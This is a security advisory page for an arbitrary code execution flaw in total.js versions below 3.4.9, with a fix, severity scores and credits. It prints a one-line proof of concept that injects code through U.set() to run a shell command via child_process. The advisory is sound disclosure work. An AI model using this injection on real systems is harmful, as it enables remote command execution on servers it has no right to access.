

## Arbitrary Code Execution

Affecting [total.js](#) package, versions <3.4.9

INTRODUCED: 24 MAR 2021 [CVE-2021-23389](#) [CVE-2021-32831](#) [CWE-94](#) [FIRST ADDED BY SNYK](#)

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### How to fix?

Upgrade `total.js` to version 3.4.9 or higher.

### Overview

[total.js](#) is a framework for Node.js platform written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. It can be used as web, desktop, service or IoT application.

Affected versions of this package are vulnerable to Arbitrary Code Execution via the `U.set()` and `U.get()` functions.

### PoC by Alessio Della Libera

```
const total = require('total.js'); U.set({}, 'a'); let {mainModule}=process; let {require}=mainModule; let {exec}=require("child_process"); exec("touch HACKED");//");
```

### References

- [GitHub Commit](#)
- [Vulnerable Code](#)

CRITICAL

🔍 Search by package name or CVE

### Snyk CVSS

Exploit Maturity	Proof of concept <a href="#">?</a>
Attack Complexity	Low <a href="#">?</a>
Confidentiality	HIGH <a href="#">?</a>
Integrity	HIGH <a href="#">?</a>
Availability	HIGH <a href="#">?</a>

[See more](#)

> NVD

9.8 CRITICAL

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Test your applications

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Snyk ID SNYK-JS-TOTALJS-1088607

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Disclosed 24 Mar 2021

Credit Alessio Della Libera (@d3lla), Agustin Gianni

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